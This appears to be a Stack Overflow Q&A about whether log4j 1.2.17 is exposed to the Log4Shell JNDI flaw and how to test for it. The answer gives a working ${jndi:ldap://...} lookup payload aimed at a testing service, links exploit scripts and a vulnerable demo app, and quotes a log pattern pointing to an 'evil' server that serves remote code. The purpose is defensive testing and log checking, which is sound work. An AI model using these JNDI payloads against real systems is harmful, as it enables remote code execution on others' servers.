CODEWITHSUNDEEP
javalog4jlog4j2
din_oops
din_oops

Reputation: 708

Is log4j vulnerable? Sample code to test the vulnerability

As we have seen in the news, a new zero-day exploit has been reported against the popular Log4J2 library which can allow an attacker to remotely execute code. In our application, we are still using the following log4j dependency.

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

Is the issue reported only for log4j2? Or is it applicable for 1.2.17 version also? Is there any sample code to test the vulnerability?

Upvotes: 0

Views: 4949

Answers (1)

Boommeister
Boommeister

Reputation: 2107

check this Question: log4j-vulnerability - Is log4j1.2.17 vulnerable (was unable to find any jndi code in source)?

Update (2021-12-12 10:09 JST): according to this analysis by @TopStreamsNet, strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower. Note that log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed. So we do not recommend using log4j 1.x as a way to avoid this security vulnerability. The recommendation is to upgrade to 2.15.0.

and this:

https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1.x versions can still be vulnerable to this issue, but only when the jms configuration: TopicBindingName or TopicConnectionFactoryBindingName is set to something that JNDI can handle - for example "ldap://host:port/a". In this way, JNDI will do exactly the same thing it does for 2.x. That is, 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input.

Is there any sample code to test the vulnerability?

you can use this online tool to test your application: https://log4shell.huntress.com/

Simply add this line to your application that you want to test, if it has the vulnerabitlity:

logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");

Then run the server and check if a request was send to the tool by clicking on "View Connections".

You can also test the vulnerability with this python script:

https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Or check your logs if an attack already happened:

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Or by just checking for strings that include ${jndi:ldap: or just ${jndi: in your logs like this one:

${jndi:ldap://<some_evil_server.com/evil-code.class...}

and here is an example Java application that has the vulnerability:

https://github.com/0x0021h/apache-log4j-rce

I tested it, in the logs of the running application I didn't see much interesting going on:

the test application with logs

But in my other server running on 127.0.0.1:8080 I saw following logs appear, so the log statement triggered a http request (I also tested it with the log4shell.huntress.com tool and the connection appeared there.):

16:48:44.338 [http-nio-8080-exec-1] INFO  o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.base/java.lang.Thread.run(Thread.java:834)

Upvotes: 4

Related Questions